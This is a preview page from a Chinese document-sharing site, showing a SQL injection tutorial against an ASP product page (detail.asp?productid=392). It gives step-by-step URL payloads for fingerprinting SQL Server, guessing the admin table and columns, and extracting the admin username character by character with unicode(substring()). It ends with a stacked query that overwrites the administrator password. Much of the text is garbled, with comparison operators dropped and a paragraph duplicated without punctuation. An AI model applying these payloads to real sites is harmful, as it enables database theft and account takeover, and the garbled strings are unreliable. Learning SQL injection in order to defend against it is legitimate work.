- 1、本文档共39页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
是一种利用用户输入构造语句的攻击如果应用程序没有适当地检测用户输入的信息攻击者就有可能改变后台执行的语句的结构注入是现今存在最广泛的漏洞之一是存在于应用程序开发中的漏洞不是数据库本身的问题在浏览器地址栏中后面加一个单引号按键后服务器返回的错误提示从而得知网站使用的是数据库测试在浏览器地址栏中后面加按键后服务器返回到正常页面测试在浏览器地址栏中后面加在浏览器地址栏中后面加按键后服务器返回错误提示可知是数据库如果是数据库那么该网址显示的页面与是一样的在确认可以注入的情况下使用下面的语句猜测表名服务器
是一种利用用户输入构造SQL语句的攻击。如果Web应用程序没有适当地检测用户输入的信息,攻击者就有可能改变后台执行的SQL语句的结构。SQL注入是现今存在最广泛的Web漏洞之一,是存在于Web应用程序开发中的漏洞,不是数据库本身的问题。 在浏览器地址栏中/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。从而得知网站使用的是SQL Server 数据库 测试“and 1=1”。在浏览器地址栏中/ detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回到正常页面。 测试“and 1=2”。在浏览器地址栏中/ detail.asp?productid=392后面加“and 1=2” 在浏览器地址栏中/detail.asp?productid=392后面加“and user0”,按Enter键后,服务器返回错误提示,可知是SQL Server数据库 /detail.asp?productid=392 and (select count(*) from sysobjects)0 如果是SQL Server 数据库,那么该网址显示的页面与“/detail.asp?productid=392 是一样的 在确认可以注入的情况下,使用下面的语句: /productDetail_c.asp?ID=568 and (select count(*) from sysobjects)0 /productDetail_c.asp?ID=568 and (select count(*) from msysobjects)0 猜测表名 /productDetail_c.asp?ID=568 and (select count(*) from admin)=0服务器返回错误提示,说明不存在“admin”表 猜测字段名 在浏览器地址栏中/detail.asp?productid=392后面加“and exists (select count(name) from adminuser)=0” 服务器返回错误提示,说明不存在“name”用户名字段 然后猜测密码字段名: 假设/detail.asp?productid=392 and (select count(admin_pwd) from adminuser)=0返回正常页面 猜测用户名。已知表adminuser中存在admin_name字段,使 用ASCII逐字解码法猜测用户名 首先,猜测用户名的长度 在浏览器地址栏中/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)11”,含义是取第一条记录,测试用户名长度返回正常页面,说明用户名的长度大于11 继续猜测用户名长度,在/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)12”,返回错误页面,说明用户名的长度不大于12,所以用户名的长度是12 得到admin_name的长度以后,用unicode(substring(admin_name, N, 1))获得第N位字符的ASCII码 猜测第1个字符 从productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from adminuser)0到productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from adminuser)121显示正常 productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from adminuser)122显示不正常,得第1个字符是“z”(字符z的十进制编码是122) 继续猜测第二个字符 猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。 修改密码。如果破解密码的难度很大,那么可以修改已经猜测的用户名对应的密码,即/detail.asp?productid=392; update adminuser set admin_pwd = a0b923820dcc509a where admin_name=zhoushanshan;-- “a0b923820dcc
文档评论(0)